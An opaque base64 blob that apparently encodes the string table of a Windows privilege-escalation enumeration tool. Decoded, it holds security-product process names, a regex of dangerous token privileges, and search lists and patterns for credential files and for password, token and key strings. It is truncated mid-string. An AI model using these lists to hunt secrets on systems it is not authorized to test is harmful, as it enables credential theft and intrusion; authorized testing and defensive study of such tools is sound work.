AGQAdgAzADIALgBlAHgAZQAAJXcAaABvAHMAdwBhAHQAYwBoAGkAbgBnAG0AZQAuAGUAeABlAAAZdwBpAG0AbQB1AG4AMwAyAC4AZQB4AGUAAB93AGkAbgAtAGIAdQBnAHMAZgBpAHgALgBlAHgAZQABE3cAaQBuADMAMgAuAGUAeABlAAAXdwBpAG4AMwAyAHUAcwAuAGUAeABlAAAbdwBpAG4AYQBjAHQAaQB2AGUALgBlAHgAZQAAFXcAaQBuAGQAbwB3AC4AZQB4AGUAABd3AGkAbgBkAG8AdwBzAC4AZQB4AGUAABl3AGkAbgBpAG4AZQB0AGQALgBlAHgAZQAAGXcAaQBuAGkAbgBpAHQAeAAuAGUAeABlAAAZdwBpAG4AbABvAGcAaQBuAC4AZQB4AGUAABd3AGkAbgBtAGEAaQBuAC4AZQB4AGUAABV3AGkAbgBuAGUAdAAuAGUAeABlAAAZdwBpAG4AcABwAHIAMwAyAC4AZQB4AGUAABl3AGkAbgByAGUAYwBvAG4ALgBlAHgAZQAAGXcAaQBuAHMAZQByAHYAbgAuAGUAeABlAAAZdwBpAG4AcwBzAGsAMwAyAC4AZQB4AGUAABl3AGkAbgBzAHQAYQByAHQALgBlAHgAZQAAH3cAaQBuAHMAdABhAHIAdAAwADAAMQAuAGUAeABlAAAZdwBpAG4AdABzAGsAMwAyAC4AZQB4AGUAABt3AGkAbgB1AHAAZABhAHQAZQAuAGUAeABlAAAbdwBpAHIAZQBzAGgAYQByAGsALgBlAHgAZQAAF3cAawB1AGYAaQBuAGQALgBlAHgAZQAAEXcAbgBhAGQALgBlAHgAZQAAD3cAbgB0AC4AZQB4AGUAABd3AHIAYQBkAG0AaQBuAC4AZQB4AGUAABV3AHIAYwB0AHIAbAAuAGUAeABlAAAXdwBzAGIAZwBhAHQAZQAuAGUAeABlAAAZdwB1AHAAZABhAHQAZQByAC4AZQB4AGUAABN3AHUAcABkAHQALgBlAHgAZQAAL3cAeQB2AGUAcgBuAHcAbwByAGsAcwBmAGkAcgBlAHcAYQBsAGwALgBlAHgAZQAAEXgAYQBnAHQALgBlAHgAZQAAGXgAcABmADIAMAAyAGUAbgAuAGUAeABlAAATegBhAHAAcgBvAC4AZQB4AGUAACF6AGEAcABzAGUAdAB1AHAAMwAwADAAMQAuAGUAeABlAAAXegBhAHQAdQB0AG8AcgAuAGUAeABlAAAfQwBtAFIAYwBTAGUAcgB2AGkAYwBlAC4AZQB4AGUAAFlDAG8AbgBmAGkAZwB1AHIAYQB0AGkAbwBuACAATQBhAG4AYQBnAGUAcgAgAFIAZQBtAG8AdABlACAAQwBvAG4AdAByAG8AbAAgAFMAZQByAHYAaQBjAGUAAA9mAHQAcAAuAGUAeABlAAAhTQBpAHMAYwAuACAARgBUAFAAIABjAGwAaQBlAG4AdAAAH0wATQBJAEcAdQBhAHIAZABpAGEAbgAuAGUAeABlAAAhTABvAGcATQBlAEkAbgAgAFIAZQBwAG8AcgB0AGUAcgAAJUwAbwBnAE0AZQBJAG4AUwB5AHMAdAByAGEAeQAuAGUAeABlAAAnTABvAGcATQBlAEkAbgAgAFMAeQBzAHQAZQBtACAAVAByAGEAeQAAF1IAYQBNAGEAaQBuAHQALgBlAHgAZQAANUwAbwBnAE0AZQBJAG4AIABtAGEAaQBuAHQAZQBuAGEAbgBjAGUAIABzAGUAdgBpAGMAZQAAD20AbQBjAC4AZQB4AGUAADlNAGkAYwByAG8AcwBvAGYAdAAgAE0AYQBuAGEAZwBlAG0AZQBuAHQAIABDAG8AbgBzAG8AbABlAAATcAB1AHQAdAB5AC4AZQB4AGUAACFQAHUAdAB0AHkAIABTAFMASAAgAGMAbABpAGUAbgB0AAARcABzAGMAcAAuAGUAeABlAAAhUAB1AHQAdAB5ACAAUwBDAFAAIABjAGwAaQBlAG4AdAAAE3AAcwBmAHQAcAAuAGUAeABlAAAjUAB1AHQAdAB5ACAAUwBGAFQAUAAgAGMAbABpAGUAbgB0AAAZcAB1AHQAdAB5AHQAZQBsAC4AZQB4AGUAACdQAHUAdAB0AHkAIABUAGUAbABuAGUAdAAgAGMAbABpAGUAbgB0AAATcABsAGkAbgBrAC4AZQB4AGUAACFQAHUAdAB0AHkAIABDAEwASQAgAGMAbABpAGUAbgB0AAAXcABhAGcAZQBhAG4AdAAuAGUAeABlAAApUAB1AHQAdAB5ACAAUwBTAEgAIABhAHUAdABoACAAYQBnAGUAbgB0AAATawBpAHQAdAB5AC4AZQB4AGUAACFLAGkAdAB0AHkAIABTAFMASAAgAGMAbABpAGUAbgB0AAAVdABlAGwAbgBlAHQALgBlAHgAZQAAJ00AaQBzAGMALgAgAFQAZQBsAG4AZQB0ACAAYwBsAGkAZQBuAHQAABtTAGUAYwB1AHIAZQBDAFIAVAAuAGUAeABlAAA3UwBlAGMAdQByAGUAQwBSAFQAIABTAFMASAAvAFQAZQBsAG4AZQB0ACAAYwBsAGkAZQBuAHQAAB1UAGUAYQBtAFYAaQBlAHcAZQByAC4AZQB4AGUAABVUAGUAYQBtAFYAaQBlAHcAZQByAAAVdAB2AF8AeAA2ADQALgBlAHgAZQAAO1QAZQBhAG0AVgBpAGUAdwBlAHIAIAB4ADYANAAgAHIAZQBtAG8AdABlACAAYwBvAG4AdAByAG8AbAAAFXQAdgBfAHcAMwAyAC4AZQB4AGUAADtUAGUAYQBtAFYAaQBlAHcAZQByACAAeAA4ADYAIAByAGUAbQBvAHQAZQAgAGMAbwBuAHQAcgBvAGwAABdrAGUAZQBwAGEAcwBzAC4AZQB4AGUAAC1LAGUAZQBQAGEAcwBzACAAcABhAHMAcwB3AG8AcgBkACAAdgBhAHUAbAB0AAATbQBzAHQAcwBjAC4AZQB4AGUAAClNAGkAYwByAG8AcwBvAGYAdAAgAFIARABQACAAYwBsAGkAZQBuAHQAAA92AG4AYwAuAGUAeABlAAAnUABvAHMAcwBpAGIAbABlACAAVgBOAEMAIABjAGwAaQBlAG4AdAAAHXAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAAL1AAbwB3AGUAcgBTAGgAZQBsAGwAIABoAG8AcwB0ACAAcAByAG8AYwBlAHMAcwAAHUMAbwBtAG0AYQBuAGQAIABQAHIAbwBtAHAAdAAAgIUgACAAIABDAHIAZQBhAHQAaQBuAGcAIABEAHkAbgBhAG0AaQBjACAAbABpAHMAdABzACwAIAB0AGgAaQBzACAAYwBvAHUAbABkACAAdABhAGsAZQAgAGEAIAB3AGgAaQBsAGUALAAgAHAAbABlAGEAcwBlACAAdwBhAGkAdAAuAC4ALgAANSAAIAAgAC0AIABDAGgAZQBjAGsAaQBuAGcAIABpAGYAIABkAG8AbQBhAGkAbgAuAC4ALgABO0UAcgByAG8AcgAgAHcAaABpAGwAZQAgAGcAZQB0AHQAaQBuAGcAIABBAEQAIABpAG4AZgBvADoAIAAATSAAIAAgAC0AIABHAGUAdAB0AGkAbgBnACAAVwBpAG4AMwAyAF8AVQBzAGUAcgBBAGMAYwBvAHUAbgB0ACAAaQBuAGYAbwAuAC4ALgABI1cAaQBuADMAMgBfAFUAcwBlAHIAQQBjAGMAbwB1AG4AdAAAWUUAcgByAG8AcgAgAHcAaABpAGwAZQAgAGcAZQB0AHQAaQBuAGcAIABXAGkAbgAzADIAXwBVAHMAZQByAEEAYwBjAG8AdQBuAHQAIABpAG4AZgBvADoAIAAAUyAAIAAgAC0AIABDAHIAZQBhAHQAaQBuAGcAIABjAHUAcgByAGUAbgB0ACAAdQBzAGUAcgAgAGcAcgBvAHUAcABzACAAbABpAHMAdAAuAC4ALgABPUUAcgByAG8AcgAgAG8AYgB0AGEAaQBuAGkAbgBnACAAYwB1AHIAcgBlAG4AdAAgAFMASQBEAHMAOgAgAABfRQByAHIAbwByACAAdwBoAGkAbABlACAAYwByAGUAYQB0AGkAbgBnACAAYwB1AHIAcgBlAG4AdAAgAHUAcwBlAHIAIABnAHIAbwB1AHAAcwAgAGwAaQBzAHQAOgAgAABFIAAgACAALQAgAEMAcgBlAGEAdABpAG4AZwAgAGEAYwB0AGkAdgBlACAAdQBzAGUAcgBzACAAbABpAHMAdAAuAC4ALgABA3wAAB18AEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAAB1BAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHwAABtBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAABRRQByAHIAbwByACAAdwBoAGkAbABlACAAYwByAGUAYQB0AGkAbgBnACAAYQBjAHQAaQB2AGUAIAB1AHMAZQByAHMAIABsAGkAcwB0ADoAIAAASSAAIAAgAC0AIABDAHIAZQBhAHQAaQBuAGcAIABkAGkAcwBhAGIAbABlAGQAIAB1AHMAZQByAHMAIABsAGkAcwB0AC4ALgAuAAFVRQByAHIAbwByACAAdwBoAGkAbABlACAAYwByAGUAYQB0AGkAbgBnACAAZABpAHMAYQBiAGwAZQBkACAAdQBzAGUAcgBzACAAbABpAHMAdAA6ACAAADEgACAAIAAtACAAQQBkAG0AaQBuACAAdQBzAGUAcgBzACAAbABpAHMAdAAuAC4ALgABXUUAcgByAG8AcgAgAHcAaABpAGwAZQAgAGMAcgBlAGEAdABpAG4AZwAgAGEAZABtAGkAbgAgAHUAcwBlAHIAcwAgAGcAcgBvAHUAcABzACAAbABpAHMAdAA6ACAAAA9DAE8ATgBTAE8ATABFAAApVgBpAHIAdAB1AGEAbABUAGUAcgBtAGkAbgBhAGwATABlAHYAZQBsAACBpUEATgBTAEkAIABjAG8AbABvAHIAIABiAGkAdAAgAGYAbwByACAAVwBpAG4AZABvAHcAcwAgAGkAcwAgAG4AbwB0ACAAcwBlAHQALgAgAEkAZgAgAHkAbwB1ACAAYQByAGUAIABlAHgAZQBjAGMAdQB0AGkAbgBnACAAdABoAGkAcwAgAGYAcgBvAG0AIABhACAAVwBpAG4AZABvAHcAcwAgAHQAZQByAG0AaQBuAGEAbAAgAGkAbgBzAGkAZABlACAAdABoAGUAIABoAG8AcwB0ACAAeQBvAHUAIABzAGgAbwB1AGwAZAAgAHIAdQBuACAAJwBSAEUARwAgAEEARABEACAASABLAEMAVQBcAEMAbwBuAHMAbwBsAGUAIAAvAHYAIABWAGkAcgB0AHUAYQBsAFQAZQByAG0AaQBuAGEAbABMAGUAdgBlAGwAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADEAJwAgAGEAbgBkACAAdABoAGUAbgAgAHMAdABhAHIAdAAgAGEAIABuAGUAdwAgAEMATQBEAAFVRQByAHIAbwByACAAdwBoAGkAbABlACAAYwBoAGUAYwBrAGkAbgBnACAAYQBuAHMAaQAgAGMAbwBsAG8AcgAgAHIAZQBnAGkAcwB0AHIAeQA6ACAAACVTAHkAcwB0AGUAbQAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAI1UAcwBlAHIAcwAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAK1AAcgBvAGMAZQBzAHMAZQBzACAASQBuAGYAbwByAG0AYQB0AGkAbwBuAAApUwBlAHIAdgBpAGMAZQBzACAASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAxQQBwAHAAbABpAGMAYQB0AGkAbwBuAHMAIABJAG4AZgBvAHIAbQBhAHQAaQBvAG4AACdOAGUAdAB3AG8AcgBrACAASQBuAGYAbwByAG0AYQB0AGkAbwBuAAApQgByAG8AdwBzAGUAcgBzACAASQBuAGYAbwByAG0AYQB0AGkAbwBuAAA9SQBuAHQAZQByAGUAcwB0AGkAbgBnACAAZgBpAGwAZQBzACAAYQBuAGQAIAByAGUAZwBpAHMAdAByAHkAAAdjAG0AZAAAEW4AbwB0AGMAbwBsAG8AcgAAC3EAdQBpAGUAdAAAE3MAZQBhAHIAYwBoAGEAbABsAAAVcwBlAGEAcgBjAGgAZgBhAHMAdAAACWgAZQBsAHAAAAUtAGgAAQ0tAC0AaABlAGwAcAABBS8AaAAAFXMAeQBzAHQAZQBtAGkAbgBmAG8AABF1AHMAZQByAGkAbgBmAG8AABVwAHIAbwBjAGUAcwBpAG4AZgBvAAAZcwBlAHIAdgBpAGMAZQBzAGkAbgBmAG8AACFhAHAAcABsAGkAYwBhAHQAaQBvAG4AcwBpAG4AZgBvAAAXbgBlAHQAdwBvAHIAawBpAG4AZgBvAAAZdwBpAG4AZABvAHcAcwBjAHIAZQBkAHMAABdiAHIAbwB3AHMAZQByAGkAbgBmAG8AABNmAGkAbABlAHMAaQBuAGYAbwAAgRd2AEIARQBUAEEAIABWAEUAUgBTAEkATwBOACwAIABQAGwAZQBhAHMAZQAgAGkAZgAgAHkAbwB1ACAAZgBpAG4AZAAgAGEAbgB5ACAAaQBzAHMAdQBlACAAbABlAHQAIABtAGUAIABrAG4AbwB3ACAAaQBuACAAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwBjAGEAcgBsAG8AcwBwAG8AbABvAHAALwBwAHIAaQB2AGkAbABlAGcAZQAtAGUAcwBjAGEAbABhAHQAaQBvAG4ALQBhAHcAZQBzAG8AbQBlAC0AcwBjAHIAaQBwAHQAcwAtAHMAdQBpAHQAZQAvAGkAcwBzAHUAZQBzAAGCE3cAaQBuAHAAZQBhAHMAIABzAGgAbwB1AGwAZAAgAGIAZQAgAHUAcwBlAGQAIABmAG8AcgAgAGEAdQB0AGgAbwByAGkAegBlAGQAIABwAGUAbgBlAHQAcgBhAHQAaQBvAG4AIAB0AGUAcwB0AGkAbgBnACAAYQBuAGQALwBvAHIAIABlAGQAdQBjAGEAdABpAG8AbgBhAGwAIABwAHUAcgBwAG8AcwBlAHMAIABvAG4AbAB5AC4AQQBuAHkAIABtAGkAcwB1AHMAZQAgAG8AZgAgAHQAaABpAHMAIABzAG8AZgB0AHcAYQByAGUAIAB3AGkAbABsACAAbgBvAHQAIABiAGUAIAB0AGgAZQAgAHIAZQBzAHAAbwBuAHMAaQBiAGkAbABpAHQAeQAgAG8AZgAgAHQAaABlACAAYQB1AHQAaABvAHIAIABvAHIAIABvAGYAIABhAG4AeQAgAG8AdABoAGUAcgAgAGMAbwBsAGwAYQBiAG8AcgBhAHQAbwByAC4AIABVAHMAZQAgAGkAdAAgAGEAdAAgAHkAbwB1AHIAIABvAHcAbgAgAG4AZQB0AHcAbwByAGsAcwAgAGEAbgBkAC8AbwByACAAdwBpAHQAaAAgAHQAaABlACAAbgBlAHQAdwBvAHIAawAgAG8AdwBuAGUAcgAnAHMAIABwAGUAcgBtAGkAcwBzAGkAbwBuAC4AAQtGAGEAbABzAGUAAFlkAG8AYwBrAGUAcgB8AFIAZQBtAG8AdABlACAAfABEAE4AUwBBAGQAbQBpAG4AcwB8AEEAegB1AHIAZQAgAEEAZABtAGkAbgBzAHwAQQBkAG0AaQBuAHMAACNOAG8AdABDAGgAYQBuAGcAZQB8AE4AbwB0AEUAeABwAGkAAIF1UwBlAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQBQAHIAaQB2AGkAbABlAGcAZQB8AFMAZQBBAHMAcwBpAGcAbgBQAHIAaQBtAGEAcgB5AFAAcgBpAHYAaQBsAGUAZwBlAHwAUwBlAFQAYwBiAFAAcgBpAHYAaQBsAGUAZwBlAHwAUwBlAEIAYQBjAGsAdQBwAFAAcgBpAHYAaQBsAGUAZwBlAHwAUwBlAFIAZQBzAHQAbwByAGUAUAByAGkAdgBpAGwAZQBnAGUAfABTAGUAQwByAGUAYQB0AGUAVABvAGsAZQBuAFAAcgBpAHYAaQBsAGUAZwBlAHwAUwBlAEwAbwBhAGQARAByAGkAdgBlAHIAUAByAGkAdgBpAGwAZQBnAGUAfABTAGUAVABhAGsAZQBPAHcAbgBlAHIAcwBoAGkAcABQAHIAaQB2AGkAbABlAGcAZQB8AFMAZQBEAGUAYgB1AGcAUAByAGkAdgBpAGwAZQBnAGUAAIJvVwBpAG4AZABvAHcAcwAgAFAAaABvAG4AZQAgAEsAaQB0AHMAfABXAGkAbgBkAG8AdwBzACAASwBpAHQAcwB8AFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAfABXAGkAbgBkAG8AdwBzACAATQBhAGkAbAB8AFcAaQBuAGQAbwB3AHMAIABNAGUAZABpAGEAIABQAGwAYQB5AGUAcgB8AFcAaQBuAGQAbwB3AHMAIABNAHUAbAB0AGkAbQBlAGQAaQBhACAAUABsAGEAdABmAG8AcgBtAHwAdwBpAG4AZABvAHcAcwAgAG4AdAB8AFcAaQBuAGQAbwB3AHMAIABQAGgAbwB0AG8AIABWAGkAZQB3AGUAcgB8AFcAaQBuAGQAbwB3AHMAIABQAG8AcgB0AGEAYgBsAGUAIABEAGUAdgBpAGMAZQBzAHwAVwBpAG4AZABvAHcAcwAgAFMAZQBjAHUAcgBpAHQAeQB8AFcAaQBuAGQAbwB3AHMAIABTAGkAZABlAGIAYQByAHwAVwBpAG4AZABvAHcAcwBBAHAAcABzAHwAVwBpAG4AZABvAHcAcwBQAG8AdwBlAHIAUwBoAGUAbABsAHwAIABXAGkAbgBkAG8AdwBzACQAfABNAGkAYwByAG8AcwBvAGYAdAB8AFcATwBXADYANAAzADIATgBvAGQAZQB8AGkAbgB0AGUAcgBuAGUAdAAgAGUAeABwAGwAbwByAGUAcgB8AEkAbgB0AGUAcgBuAGUAdAAgAEUAeABwAGwAbwByAGUAcgB8AEMAbwBtAG0AbwBuACAARgBpAGwAZQBzAAAZWwBhAC0AegBBAC0AWgBdACsAWwAkAF0AARMxADIANwAuADAALgAwAC4AMQAAUU4AbwAgAHAAcgBvAG0AcAB0AGkAbgBnAHwAUAByAG8AbQBwAHQARgBvAHIATgBvAG4AVwBpAG4AZABvAHcAcwBCAGkAbgBhAHIAaQBlAHMAAD9QAHIAbwBtAHAAdABQAGUAcgBtAGkAdABEAGUAbgB5AE8AbgBTAGUAYwB1AHIAZQBEAGUAcwBrAHQAbwBwAAAlTABBAFAAUwAgAG4AbwB0ACAAaQBuAHMAdABhAGwAbABlAGQAAIIVWwBwAFAAXQBbAGEAQQBdAFsAcwBTAF0AWwBzAFMAXQBbAHcAVwBdAFsAYQAtAHoAQQAtAFoAMAAtADkAXwAtAF0AKgB8AFsAcABQAF0AWwB3AFcAXQBbAGQARABdAFsAYQAtAHoAQQAtAFoAMAAtADkAXwAtAF0AKgB8AFsAbgBOAF0AWwBhAEEAXQBbAG0ATQBdAFsAZQBFAF0AfABbAGwATABdAFsAbwBPAF0AWwBnAEcAXQBbAGkASQBdAFsAbgBOAF0AfABbAGMAQwBdAFsAbwBPAF0AWwBuAE4AXQBbAHQAVABdAFsAcgBSAF0AWwBhAEEAXQBbAHMAUwBdAFsAZQBFAF0AWwBhAC0AegBBAC0AWgAwAC0AOQBfAC0AXQAqAHwAWwBjAEMAXQBbAHIAUgBdAFsAZQBFAF0AWwBkAEQAXQBbAGUARQBdAFsAbgBOAF0AWwB0AFQAXQBbAGkASQBdAFsAYQBBAF0AWwBsAEwAXQBbAGEALQB6AEEALQBaADAALQA5AF8ALQBdACoAfABbAGEAQQBdAFsAcABQAF0AWwBpAEkAXQB8AFsAdABUAF0AWwBvAE8AXQBbAGsASwBdAFsAZQBFAF0AWwBuAE4AXQB8AFsAcwBTAF0AWwBlAEUAXQBbAHMAUwBdAFsAcwBTAF0AWwBhAC0AegBBAC0AWgAwAC0AOQBfAC0AXQAqAAE/fABbAHUAVQBdAFsAcwBTAF0AWwBlAEUAXQBbAHIAUgBdAFsAYQAtAHoAQQAtAFoAMAAtADkAXwAtAF0AKgABKVAAQQBTAFMAVwBbAGEALQB6AEEALQBaADAALQA5AF8ALQBdACoAPQABJVAAVwBEAFsAYQAtAHoAQQAtAFoAMAAtADkAXwAtAF0AKgA9AAEnVQBTAEUAUgBbAGEALQB6AEEALQBaADAALQA5AF8ALQBdACoAPQABC04AQQBNAEUAPQAADSYATABPAEcASQBOAAANPQBMAE8ARwBJAE4AADNDAE8ATgBUAFIAQQBTAEUA0QBBAFsAYQAtAHoAQQAtAFoAMAAtADkAXwAtAF0AKgA9AAEzQwBSAEUARABFAE4AVABJAEEATABbAGEALQB6AEEALQBaADAALQA5AF8ALQBdACoAPQABD0EAUABJAF8ASwBFAFkAAAtUAE8ASwBFAE4AAIRfUgBEAEMATQBhAG4ALgBzAGUAdAB0AGkAbgBnAHMAOwAqAC4AcgBkAGcAOwAqAF8AaABpAHMAdABvAHIAeQAqADsAaAB0AHQAcABkAC4AYwBvAG4AZgA7AC4AaAB0AHAAYQBzAHMAdwBkADsALgBnAGkAdABjAG8AbgBmAGkAZwA7AC4AZwBpAHQALQBjAHIAZQBkAGUAbgB0AGkAYQBsAHMAOwBEAG8AYwBrAGUAcgBmAGkAbABlADsAZABvAGMAawBlAHIALQBjAG8AbQBwAG8AcwBlAC4AeQBtAGwAOwBhAGMAYwBlAHMAcwBfAHQAbwBrAGUAbgBzAC4AZABiADsAYQBjAGMAZQBzAHMAVABvAGsAZQBuAHMALgBqAHMAbwBuADsAYQB6AHUAcgBlAFAAcgBvAGYAaQBsAGUALgBqAHMAbwBuADsAYQBwAHAAYwBtAGQALgBlAHgAZQA7AHMAYwBjAGwAaQBlAG4AdAAuAGUAeABlADsAKgAuAGcAcABnACQAOwAqAC4AcABnAHAAJAA7ACoAYwBvAG4AZgBpAGcAKgAuAHAAaABwADsAZQBsAGEAcwB0AGkAYwBzAGUAYQByAGMAaAAuAHkAKgBtAGwAOwBrAGkAYgBhAG4AYQAuAHkAKgBtAGwAOwAqAC4AcAAxADIAJAA7ACoALgBjAGUAcgAkADsAawBuAG8AdwBuAF8AaABvAHMAdABzADsAKgBpAGQAXwByAHMAYQAqADsAKgBpAGQAXwBkAHMAYQAqADsAKgAuAG8AdgBwAG4AOwB0AG8AbQBjAGEAdAAtAHUAcwBlAHIAcwAuAHgAbQBsADsAdwBlAGIALgBjAG8AbgBmAGkAZwA7ACoALgBrAGQAYgB4ADsASwBlAGUAUABhAHMAcwAuAGMAbwBuAGYAaQBnADsATgB0AGQAcwAuAGQAaQB0ADsAUwBBAE0AOwBTAFkAUwBUAEUATQA7AEYAcgBlAGUAUwBTAEgARABzAGUAcgB2AGkAYwBlAC4AaQBuAGkAOwBzAHkAcwBwAHIAZQBwAC4AaQBuAGYAOwBzAHkAcwBwAHIAZQBwAC4AeABtAGwAOwAqAHYAbgBjACoALgBpAG4AaQA7ACoAdgBuAGMAKgAuAGMAKgBuAGYAKgA7ACoAdgBuAGMAKgAuAHQAeAB0ADsAKgB2AG4AYwAqAC4AeABtAGwAOwBwAGgAcAAuAGkAbgBpADsAaAB0AHQAcABzAC4AYwBvAG4AZgA7AGgAdAB0AHAAcwAtAHgAYQBtAHAAcAAuAGMAbwBuAGYAOwBtAHkALgBpAG4AaQA7AG0AeQAuAGMAbgBmADsAYQBjAGMAZQBzAHMALgBsAG8AZwA7AGUAcgByAG8AcgAuAGwAbwBnADsAcwBlAHIAdgBlAHIALgB4AG0AbAA7AEMAbwBuAHMAbwBsAGUASABvAHMAdABfAGgAaQBzAHQAbwByAHkALgB0AHgAdAABgUU7AHUAbgBhAHQAdABlAG4AZAAuAHQAeAB0ADsAKgAuAGQAZQByACQAOwAqAC4AYwBzAHIAJAA7AHUAbgBhAHQAdABlAG4AZAAuAHgAbQBsADsAdQBuAGEAdAB0AGUAbgBkAGUAZAAuAHgAbQBsADsAZwByAG8AdQBwAHMALgB4AG0AbAA7AHMAZQByAHYAaQBjAGUAcwAuAHgAbQBsADsAcwBjAGgAZQBkAHUAbABlAGQAdABhAHMAawBzAC4AeABtAGwAOwBwAHIAaQBuAHQAZQByAHMALgB4AG0AbAA7AGQAcgBpAHYAZQBzAC4AeABtAGwAOwBkAGEAdABhAHMAbwB1AHIAYwBlAHMALgB4AG0AbAA7AHMAZQB0AHUAcABpAG4AZgBvADsAcwBlAHQAdQBwAGkAbgBmAG8ALgBiAGEAawAAhWNSAEQAQwBNAGEAbgAuAHMAZQB0AHQAaQBuAGcAcwB8AC4AcgBkAGcAfABfAGgAaQBzAHQAbwByAHkAfABoAHQAdABwAGQALgBjAG8AbgBmAHwALgBoAHQAcABhAHMAcwB3AGQAfAAuAGcAaQB0AGMAbwBuAGYAaQBnAHwALgBnAGkAdAAtAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwB8AEQAbwBjAGsAZQByAGYAaQBsAGUAfABkAG8AYwBrAGUAcgAtAGMAbwBtAHAAbwBzAGUALgB5AG0AbABhAGMAYwBlAHMAcwBfAHQAbwBrAGUAbgBzAC4AZABiAHwAYQBjAGMAZQBzAHMAVABvAGsAZQBuAHMALgBqAHMAbwBuAHwAYQB6AHUAcgBlAFAAcgBvAGYAaQBsAGUALgBqAHMAbwBuAHwAYQBwAHAAYwBtAGQALgBlAHgAZQB8AHMAYwBjAGwAaQBlAG4AdAAuAGUAeABlAHwAdQBuAGEAdAB0AGUAbgBkAC4AdAB4AHQAfABhAGMAYwBlAHMAcwAuAGwAbwBnAHwAZQByAHIAbwByAC4AbABvAGcAfABjAHIAZQBkAGUAbgB0AGkAYQBsAHwAcABhAHMAcwB3AG8AcgBkAHwALgBnAHAAZwB8AC4AcABnAHAAfABjAG8AbgBmAGkAZwAuAHAAaABwAHwAZQBsAGEAcwB0AGkAYwBzAGUAYQByAGMAaAB8AGsAaQBiAGEAbgBhAC4AfAAuAHAAMQAyAHwAXAAuAGQAZQByAHwALgBjAHMAcgB8AC4AYwByAHQAfAAuAGMAZQByAHwALgBwAGUAbQB8AGsAbgBvAHcAbgBfAGgAbwBzAHQAcwB8AGkAZABfAHIAcwBhAHwAaQBkAF8AZABzAGEAfAAuAG8AdgBwAG4AfAB0AG8AbQBjAGEAdAAtAHUAcwBlAHIAcwAuAHgAbQBsAHwAdwBlAGIALgBjAG8AbgBmAGkAZwB8AC4AawBkAGIAeAB8AC4AawBlAHkAfABLAGUAZQBQAGEAcwBzAC4AYwBvAG4AZgBpAGcAfABuAHQAZABzAC4AZABpAHIAfABOAHQAZABzAC4AZABpAHQAfABzAGEAbQB8AHMAeQBzAHQAZQBtAHwAUwBBAE0AfABTAFkAUwBUAEUATQB8AEYAcgBlAGUAUwBTAEgARABzAGUAcgB2AGkAYwBlAC4AaQBuAGkAfABzAHkAcwBwAHIAZQBwAC4AaQBuAGYAfABzAHkAcwBwAHIAZQBwAC4AeABtAGwAfAB1AG4AYQB0AHQAZQBuAGQALgB4AG0AbAB8AHUAbgBhAHQAdABlAG4AZABlAGQALgB4AG0AbAB8AHYAbgBjAHwAZwByAG8AdQBwAHMALgB4AG0AbAB8AHMAZQByAHYAaQBjAGUAcwAuAHgAbQBsAHwAcwBjAGgAZQBkAHUAbABlAGQAdABhAHMAawBzAC4AeABtAGwAfABwAHIAaQBuAHQAZQByAHMALgB4AG0AbAB8AGQAcgBpAHYAZQBzAC4AeABtAGwAfABkAGEAdABhAHMAbwB1AHIAYwBlAHMALgB4AG0AbAB8AHAAaABwAC4AaQBuAGkAfABoAHQAdABwAHMALgBjAG8AbgBmAHwAaAB0AHQAcABzAC0AeABhAG0AcABwAC4AYwBvAG4AZgB8AG0AeQAuAGkAbgBpAHwAbQB5AC4AYwBuAGYAfABhAGMAYwBlAHMAcwAuAGwAbwBnAHwAZQByAHIAbwByAC4AbABvAGcAfABzAGUAcgB2AGUAcgAuAHgAbQBsAHwAcwBlAHQAdQBwAGkAbgBmAG8AATFCAGEAcwBpAGMAIABTAHkAcwB0AGUAbQAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAO1QAMQAwADgAMgAmAFQAMQAxADIANAAmAFQAMQAwADEAMgAmAFQAMQA0ADkANwAmAFQAMQAyADEAMgAAgK1oAHQAdABwAHMAOgAvAC8AYgBvAG8AawAuAGgAYQBjAGsAdAByAGkAYwBrAHMALgB4AHkAegAvAHcAaQBuAGQAbwB3AHMALwB3AGkAbgBkAG8AdwBzAC0AbABvAGMAYQBsAC0AcAByAGkAdgBpAGwAZQBnAGUALQBlAHMAYwBhAGwAYQB0AGkAbwBuACMAawBlAHIAbgBlAGwALQBlAHgAcABsAG8AaQB0AHMAAYCDQwBoAGUAYwBrACAAaQBmACAAdABoAGUAIABXAGkAbgBkAG8AdwBzACAAdgBlAHIAcwBpAG8AbgBzACAAaQBzACAAdgB1AGwAbgBlAHIAYQBiAGwAZQAgAHQAbwAgAHMAbwBtAGUAIABrAG4AbwB3AG4AIABlAHgAcABsAG8AaQB0AAARSABvAHQAZgBpAHgAZQBzAAAnUABvAHcAZQByAFMAaABlAGwAbAAgAFMAZQB0AHQAaQBuAGcAcwAAHUEAdQBkAGkAdAAgAFMAZQB0AHQAaQBuAGcAcwAAC1QAMQAwADEAMgAANUMAaABlAGMAawAgAHcAaABhAHQAIABpAHMAIABiAGUAaQBuAGcAIABsAG8AZwBnAGUAZAAAGVcARQBGACAAUwBlAHQAdABpAG4AZwBzAACAj1cAaQBuAGQAbwB3AHMAIABFAHYAZQBuAHQAIABGAG8AcgB3AGEAcgBkAGkAbgBnACwAIABpAHMAIABpAG4AdABlAHIAZQBzAHQAaQBuAGcAIAB0AG8AIABrAG4AbwB3ACAAdwBlAHIAZQAgAGEAcgBlACAAcwBlAG4AdAAgAHQAaABlACAAbABvAGcAcwAAG0wAQQBQAFMAIABTAGUAdAB0AGkAbgBnAHMAAICzSQBmACAAaQBuAHMAdABhAGwAbABlAGQALAAgAGwAbwBjAGEAbAAgAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIABwAGEAcwBzAHcAbwByAGQAIABpAHMAIABjAGgAYQBuAGcAZQBkACAAZgByAGUAcQB1AGUAbgB0AGwAeQAgAGEAbgBkACAAaQBzACAAcgBlAHMAdAByAGkAYwB0AGUAZAAgAGIAeQAgAEEAQwBMAAAPVwBkAGkAZwBlAHMAdAAAgLFoAHQAdABwAHMAOgAvAC8AYgBvAG8AawA